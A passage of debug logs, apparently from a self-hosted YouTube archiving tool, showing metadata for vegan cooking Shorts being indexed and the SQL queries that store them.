livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [613] 20:27:00.743 [debug] Current batch of media processed. Will check again in 1000ms 20:27:01.745 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I really like corn and vegan gluten free burritos which you'll find out about in our new plant based appetizer showdown. Check out the full plant based and gluten free appetizer showdown by clicking the link here: https://youtu.be/NyAnAMvdk0M", "duration" => 12, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-13 I really like corn and vegan gf burritos 🤤 ❤️🌽#shorts #youtubeshorts/I really like corn and vegan gf burritos 🤤 ❤️🌽#shorts #youtubeshorts [kW64PtsWbTc].NA", "id" => "kW64PtsWbTc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/kW64PtsWbTc", "playlist_index" => 225, "timestamp" => 1665677702, "title" => "I really like corn and vegan gf burritos 🤤 ❤️🌽#shorts #youtubeshorts", "upload_date" => "20221013"} 20:27:01.753 [debug] QUERY OK source="sources" db=7.4ms queue=0.1ms idle=1004.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:01.755 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=1011.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:01.766 [debug] QUERY OK source="media_items" db=9.7ms queue=0.4ms idle=1013.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-13 16:15:02Z], 1] 20:27:01.773 [debug] QUERY OK source="media_items" db=5.7ms idle=1024.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I really like corn and vegan gluten free burritos which you'll find out about in our new plant based appetizer showdown. Check out the full plant based and gluten free appetizer showdown by clicking the link here: https://youtu.be/NyAnAMvdk0M", "I really like corn and vegan gf burritos 🤤 ❤️🌽#shorts #youtubeshorts", "180cf201-c5d9-4b9f-9677-de9a4471b7e3", 1, [], 12, false, "kW64PtsWbTc", "https://www.youtube.com/shorts/kW64PtsWbTc", 225, "/downloads/downloads/alec/Steamy Vegan/2022-10-13 I really like corn and vegan gf burritos 🤤 ❤️🌽#shorts #youtubeshorts/I really like corn and vegan gf burritos 🤤 ❤️🌽#shorts #youtubeshorts [kW64PtsWbTc].NA", false, false, true, 2, ~U[2022-10-13 16:15:02Z], ~U[2026-03-22 03:27:01Z], ~U[2026-03-22 03:27:01Z], "I really like corn and vegan gluten free burritos which you'll find out about in our new plant based appetizer showdown. Check out the full plant based and gluten free appetizer showdown by clicking the link here: https://youtu.be/NyAnAMvdk0M", "I really like corn and vegan gf burritos 🤤 ❤️🌽#shorts #youtubeshorts", 1, 12, false, "kW64PtsWbTc", "https://www.youtube.com/shorts/kW64PtsWbTc", "/downloads/downloads/alec/Steamy Vegan/2022-10-13 I really like corn and vegan gf burritos 🤤 ❤️🌽#shorts #youtubeshorts/I really like corn and vegan gf burritos 🤤 ❤️🌽#shorts #youtubeshorts [kW64PtsWbTc].NA", true, ~U[2022-10-13 16:15:02Z]] 20:27:01.776 [debug] QUERY OK source="sources" db=1.9ms queue=0.5ms idle=638.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:01.777 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=23.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:01.778 [debug] QUERY OK source="media_items" db=0.8ms idle=22.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [614] 20:27:01.782 [debug] Current batch of media processed. Will check again in 1000ms 20:27:02.784 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Live on the channel is our plant based appetizer showdown episode. We taste tested 8 different plant based appetizers and had a ton of fun with this review video.\n\nSubscribe and check out the full video! Thanks for your support!", "duration" => 30, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-09 Game Day Motivational Appetizer Speech - Plant Based Appys #shorts #youtubeshorts/Game Day Motivational Appetizer Speech - Plant Based Appys #shorts #youtubeshorts [d9Ciet8tI-Q].NA", "id" => "d9Ciet8tI-Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/d9Ciet8tI-Q", "playlist_index" => 226, "timestamp" => 1665327632, "title" => "Game Day Motivational Appetizer Speech - Plant Based Appys #shorts #youtubeshorts", "upload_date" => "20221009"} 20:27:02.785 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1012.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:02.786 [debug] QUERY OK source="sources" db=0.6ms idle=1010.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:02.790 [debug] QUERY OK source="media_items" db=2.9ms idle=1009.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-09 15:00:32Z], 1] 20:27:02.792 [debug] QUERY OK source="media_items" db=1.3ms idle=1011.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Live on the channel is our plant based appetizer showdown episode. We taste tested 8 different plant based appetizers and had a ton of fun with this review video.\n\nSubscribe and check out the full video! Thanks for your support!", "Game Day Motivational Appetizer Speech - Plant Based Appys #shorts #youtubeshorts", "4356fbca-b2c8-44da-893e-6987ed8f160a", 1, [], 30, false, "d9Ciet8tI-Q", "https://www.youtube.com/shorts/d9Ciet8tI-Q", 226, "/downloads/downloads/alec/Steamy Vegan/2022-10-09 Game Day Motivational Appetizer Speech - Plant Based Appys #shorts #youtubeshorts/Game Day Motivational Appetizer Speech - Plant Based Appys #shorts #youtubeshorts [d9Ciet8tI-Q].NA", false, false, true, 0, ~U[2022-10-09 15:00:32Z], ~U[2026-03-22 03:27:02Z], ~U[2026-03-22 03:27:02Z], "Live on the channel is our plant based appetizer showdown episode. We taste tested 8 different plant based appetizers and had a ton of fun with this review video.\n\nSubscribe and check out the full video! Thanks for your support!", "Game Day Motivational Appetizer Speech - Plant Based Appys #shorts #youtubeshorts", 1, 30, false, "d9Ciet8tI-Q", "https://www.youtube.com/shorts/d9Ciet8tI-Q", "/downloads/downloads/alec/Steamy Vegan/2022-10-09 Game Day Motivational Appetizer Speech - Plant Based Appys #shorts #youtubeshorts/Game Day Motivational Appetizer Speech - Plant Based Appys #shorts #youtubeshorts [d9Ciet8tI-Q].NA", true, ~U[2022-10-09 15:00:32Z]] 20:27:02.792 [debug] QUERY OK source="sources" db=0.2ms idle=654.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:02.793 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:02.794 [debug] QUERY OK source="media_items" db=0.4ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [615] 20:27:02.794 [debug] Current batch of media processed. Will check again in 1000ms 20:27:03.795 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 56, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-08 Plant-Based Pumpkin Spice Snack or Breakfast Idea! 🎃 Pumpkin Spice Bliss Balls/Plant-Based Pumpkin Spice Snack or Breakfast Idea! 🎃 Pumpkin Spice Bliss Balls [-agk0c9-9Ow].NA", "id" => "-agk0c9-9Ow", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/-agk0c9-9Ow", "playlist_index" => 227, "timestamp" => 1665270000, "title" => "Plant-Based Pumpkin Spice Snack or Breakfast Idea! 🎃 Pumpkin Spice Bliss Balls", "upload_date" => "20221008"} 20:27:03.796 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:03.797 [debug] QUERY OK source="sources" db=0.7ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:03.800 [debug] QUERY OK source="media_items" db=2.2ms idle=1004.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-08 23:00:00Z], 1] 20:27:03.801 [debug] QUERY OK source="media_items" db=0.7ms idle=1006.8ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Plant-Based Pumpkin Spice Snack or Breakfast Idea! 🎃 Pumpkin Spice Bliss Balls", "f5a7445c-589e-4a2e-973e-bc29b16bdb48", 1, [], 56, false, "-agk0c9-9Ow", "https://www.youtube.com/shorts/-agk0c9-9Ow", 227, "/downloads/downloads/alec/Steamy Vegan/2022-10-08 Plant-Based Pumpkin Spice Snack or Breakfast Idea! 🎃 Pumpkin Spice Bliss Balls/Plant-Based Pumpkin Spice Snack or Breakfast Idea! 🎃 Pumpkin Spice Bliss Balls [-agk0c9-9Ow].NA", false, false, true, 0, ~U[2022-10-08 23:00:00Z], ~U[2026-03-22 03:27:03Z], ~U[2026-03-22 03:27:03Z], "", "Plant-Based Pumpkin Spice Snack or Breakfast Idea! 🎃 Pumpkin Spice Bliss Balls", 1, 56, false, "-agk0c9-9Ow", "https://www.youtube.com/shorts/-agk0c9-9Ow", "/downloads/downloads/alec/Steamy Vegan/2022-10-08 Plant-Based Pumpkin Spice Snack or Breakfast Idea! 🎃 Pumpkin Spice Bliss Balls/Plant-Based Pumpkin Spice Snack or Breakfast Idea! 🎃 Pumpkin Spice Bliss Balls [-agk0c9-9Ow].NA", true, ~U[2022-10-08 23:00:00Z]] 20:27:03.802 [debug] QUERY OK source="sources" db=0.6ms idle=662.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:03.803 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:03.804 [debug] QUERY OK source="media_items" db=0.5ms idle=6.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [616] 20:27:03.804 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Check out the full plant based game day appetizer taste test and review here: https://youtu.be/NyAnAMvdk0M", "duration" => 18, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-08 Plant Based Game Day Appy Showdown 🏆#shorts #youtubeshorts/Plant Based Game Day Appy Showdown 🏆#shorts #youtubeshorts [jRRu_snHjN8].NA", "id" => "jRRu_snHjN8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/jRRu_snHjN8", "playlist_index" => 228, "timestamp" => 1665255470, "title" => "Plant Based Game Day Appy Showdown 🏆#shorts #youtubeshorts", "upload_date" => "20221008"} 20:27:03.806 [debug] QUERY OK source="sources" db=0.9ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:03.807 [debug] QUERY OK source="sources" db=0.9ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:03.809 [debug] QUERY OK source="media_items" db=2.4ms idle=4.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-08 18:57:50Z], 1] 20:27:03.812 [debug] QUERY OK source="media_items" db=1.9ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out the full plant based game day appetizer taste test and review here: https://youtu.be/NyAnAMvdk0M", "Plant Based Game Day Appy Showdown 🏆#shorts #youtubeshorts", "beb9eedc-08f2-47fd-a90f-9299a5157c65", 1, [], 18, false, "jRRu_snHjN8", "https://www.youtube.com/shorts/jRRu_snHjN8", 228, "/downloads/downloads/alec/Steamy Vegan/2022-10-08 Plant Based Game Day Appy Showdown 🏆#shorts #youtubeshorts/Plant Based Game Day Appy Showdown 🏆#shorts #youtubeshorts [jRRu_snHjN8].NA", false, false, true, 1, ~U[2022-10-08 18:57:50Z], ~U[2026-03-22 03:27:03Z], ~U[2026-03-22 03:27:03Z], "Check out the full plant based game day appetizer taste test and review here: https://youtu.be/NyAnAMvdk0M", "Plant Based Game Day Appy Showdown 🏆#shorts #youtubeshorts", 1, 18, false, "jRRu_snHjN8", "https://www.youtube.com/shorts/jRRu_snHjN8", "/downloads/downloads/alec/Steamy Vegan/2022-10-08 Plant Based Game Day Appy Showdown 🏆#shorts #youtubeshorts/Plant Based Game Day Appy Showdown 🏆#shorts #youtubeshorts [jRRu_snHjN8].NA", true, ~U[2022-10-08 18:57:50Z]] 20:27:03.813 [debug] QUERY OK source="sources" db=0.3ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:03.814 [debug] QUERY OK source="media_profiles" db=0.6ms idle=7.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:03.814 [debug] QUERY OK source="media_items" db=0.5ms idle=7.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [617] 20:27:03.815 [debug] Current batch of media processed. Will check again in 1000ms 20:27:04.816 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "👀 Did someone say… pumpkin spice HUMMUS? 🧡 \n\n‘Cause pumpkin spice ain’t just for the lattes 😉 MAKE THIS and thank me later! \n\n1 cup chickpeas, drained and rinsed\n1/2 cup pumpkin puree\n1 bulb roasted garlic\n2-3 tbsp tahini\n2 tbsp maple syrup\n1 tsp pumpkin pie spice\njuice of half a lemon\nsalt to taste\n\nAdd all ingredients to a high speed blender or food processor and blend until smooth. 🎃\n\nHAPPY AUTUMN! 🍂 🍁", "duration" => 46, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-07 Easy plant-based appetizer for fall 🍂 Pumpkin Spice Hummus/Easy plant-based appetizer for fall 🍂 Pumpkin Spice Hummus [TYbAVJUl7Lc].NA", "id" => "TYbAVJUl7Lc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/TYbAVJUl7Lc", "playlist_index" => 229, "timestamp" => 1665176929, "title" => "Easy plant-based appetizer for fall 🍂 Pumpkin Spice Hummus", "upload_date" => "20221007"} 20:27:04.817 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", 